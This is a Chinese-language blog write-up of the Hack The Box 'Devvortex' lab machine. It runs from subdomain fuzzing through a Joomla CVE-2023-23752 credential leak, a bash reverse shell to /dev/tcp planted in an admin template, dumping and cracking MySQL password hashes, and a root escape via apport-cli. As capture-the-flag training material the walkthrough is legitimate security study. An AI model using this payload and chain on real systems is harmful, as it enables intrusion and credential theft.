Hack The Box-Devvortex

最新推荐文章于 2024-03-28 20:56:39 发布

真的学不了一点。。。

最新推荐文章于 2024-03-28 20:56:39 发布

阅读量500

点赞数 8

分类专栏： Hack The Box 文章标签：网络安全

本文链接：https://blog.csdn.net/rx3225968517/article/details/136852035

版权

Hack The Box 专栏收录该内容

12 篇文章 1 订阅

订阅专栏

信息收集

nmap

端口信息收集

┌──(root?ru)-[~/kali/hackthebox]
└─# nmap -p- 10.10.11.242 --min-rate 10000           
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-19 16:35 CST
Warning: 10.10.11.242 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.242
Host is up (0.26s latency).
Not shown: 65417 closed tcp ports (reset), 116 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

服务版本信息探测

┌──(root㉿ru)-[~/kali/hackthebox]
└─# nmap -sCV -O -A -p 22,80 10.10.11.242 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-19 16:36 CST
Nmap scan report for 10.10.11.242
Host is up (0.28s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   355.77 ms 10.10.14.1
2   360.45 ms 10.10.11.242

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.63 seconds

whatweb

┌──(root㉿ru)-[~/kali/hackthebox]
└─# whatweb -v 10.10.11.242                     
WhatWeb report for http://10.10.11.242
Status    : 302 Found
Title     : 302 Found
IP        : 10.10.11.242
Country   : RESERVED, ZZ

Summary   : HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], nginx[1.18.0], RedirectLocation[http://devvortex.htb/]

Detected Plugins:
[ HTTPServer ]
  HTTP server header string. This plugin also attempts to 
  identify the operating system from the server header. 

  OS           : Ubuntu Linux
  String       : nginx/1.18.0 (Ubuntu) (from server string)

[ RedirectLocation ]
  HTTP Server string location. used with http-status 301 and 
  302 

  String       : http://devvortex.htb/ (from location)

[ nginx ]
  Nginx (Engine-X) is a free, open-source, high-performance 
  HTTP server and reverse proxy, as well as an IMAP/POP3 
  proxy server. 

  Version      : 1.18.0
  Website     : http://nginx.net/

HTTP Headers:
  HTTP/1.1 302 Moved Temporarily
  Server: nginx/1.18.0 (Ubuntu)
  Date: Tue, 19 Mar 2024 08:37:35 GMT
  Content-Type: text/html
  Content-Length: 154
  Connection: close
  Location: http://devvortex.htb/

只开放了 22 80 两个端口！

devvortex.htb/ 加入到hosts文件中！

┌──(root㉿ru)-[~/kali/hackthebox]
└─# echo "10.10.11.242 devvortex.htb/" | tee -a /etc/hosts     
10.10.11.242 devvortex.htb/

WEB

web信息收集

主页是一个服务提供网站！我们深入探索！

wfuzz

我已经使用目录探测工具扫描过了！发现没啥可疑的！使用wfuzz查看是否存在子域名！！

子域名探测

┌──(root㉿ru)-[~/kali/hackthebox]
└─# wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://devvortex.htb/ -H 'Host:FUZZ.devvortex.htb' -t 50 --hc 302
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://devvortex.htb/
Total requests: 19966

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                             
=====================================================================

000000019:   200        501 L    1581 W     23221 Ch    "dev"

存在！我们加入到hosts文件中！

随后我们再开启子域名的爆破！

目录扫描

┌──(root㉿ru)-[~/kali/hackthebox]
└─# wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -u http://dev.devvortex.htb/FUZZ -t 100 --hc 404,403
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://dev.devvortex.htb/FUZZ
Total requests: 17770

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                             
=====================================================================

000000007:   301        7 L      12 W       178 Ch      "cache"                                                                                                                                                             
000000005:   301        7 L      12 W       178 Ch      "modules"                                                                                                                                                           
000000006:   301        7 L      12 W       178 Ch      "templates"                                                                                                                                                         
000000077:   301        7 L      12 W       178 Ch      "api"                                                                                                                                                               
000000018:   301        7 L      12 W       178 Ch      "components"                                                                                                                                                        
000000004:   301        7 L      12 W       178 Ch      "includes"                                                                                                                                                          
000000008:   301        7 L      12 W       178 Ch      "media"                                                                                                                                                             
000000002:   301        7 L      12 W       178 Ch      "images"                                                                                                                                                            
000000016:   301        7 L      12 W       178 Ch      "plugins"                                                                                                                                                           
000000011:   301        7 L      12 W       178 Ch      "tmp"                                                                                                                                                               
000000023:   301        7 L      12 W       178 Ch      "libraries"                                                                                                                                                         
000000010:   301        7 L      12 W       178 Ch      "language"                                                                                                                                                          
000000017:   301        7 L      12 W       178 Ch      "administrator"                                                                                                                                                     
000000127:   200        501 L    1581 W     23221 Ch    "home"                                                                                                                                                              
000000653:   301        7 L      12 W       178 Ch      "layouts"

administrator  这个很奇怪！！

老常客！Joomla！！

在这，我们知道了该cms的版本！

漏洞探索

漏洞发现

GitHub - Acceis/exploit-CVE-2023-23752: Joomla! < 4.2.8 - Unauthenticated information disclosureJoomla! < 4.2.8 - Unauthenticated information disclosure - Acceis/exploit-CVE-2023-23752https://github.com/Acceis/exploit-CVE-2023-23752

该exp使用Ruby语言写的！我们利用一下exp！ 如果缺少模块记得安装！

gem install 模块名

没一会就爆破出来了！

user:lewis
pass:P4ntherg0t1n5r3c0n##

既然进来了，我们只需要找到管理员模板写入shell即可！

模板路径

System->Templates->Administrator Templates->index.php

反弹shell

因为语言是php，所以我们使用php payload

exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.35/1234 0>&1'");

写完之后记得保存！随后访问主页即可触发payload！

提权

get user

我们之前使用漏洞脚本发现该cms是存在数据库的！我们登录一下数据库！

www-data@devvortex:~/dev.devvortex.htb/administrator$ mysql -u lewis -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 26575
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| joomla             |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)mysql> use joomla;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select username,password from sd4fg_users;
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| lewis    | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |
| logan    | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 |
+----------+--------------------------------------------------------------+
2 rows in set (0.00 sec)

logan：$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12

hashcat

hashcat -a 0 -m 3200 hash.list /usr/share/wordlists/rockyou.txt

user:logan
pass:tequieromucho

get root

logan@devvortex:~$ sudo -l
[sudo] password for logan: 
Sorry, try again.
[sudo] password for logan: 
Matching Defaults entries for logan on devvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli

https://github.com/diego-tella/CVE-2023-1326-PoChttps://github.com/diego-tella/CVE-2023-1326-PoC

按照顺序输入1、2、V

这时候发现出现一个类似与vi编辑器的东西！

我们输入 !/bin/bash 即可！！

真的学不了一点。。。

关注

8
点赞
踩
6

收藏

觉得还不错? 一键收藏
0
评论
Hack The Box-Devvortex

从子域名开始，到 Joomla漏洞！模板注入shell、利用apport-cli 漏洞轻轻松松获取root！
复制链接

扫一扫

专栏目录

Hack The Box-Devvortex

信息收集

nmap

whatweb

WEB

web信息收集

wfuzz

漏洞探索

漏洞发现

反弹shell

提权

get user

hashcat

get root

“相关推荐”对你有帮助么？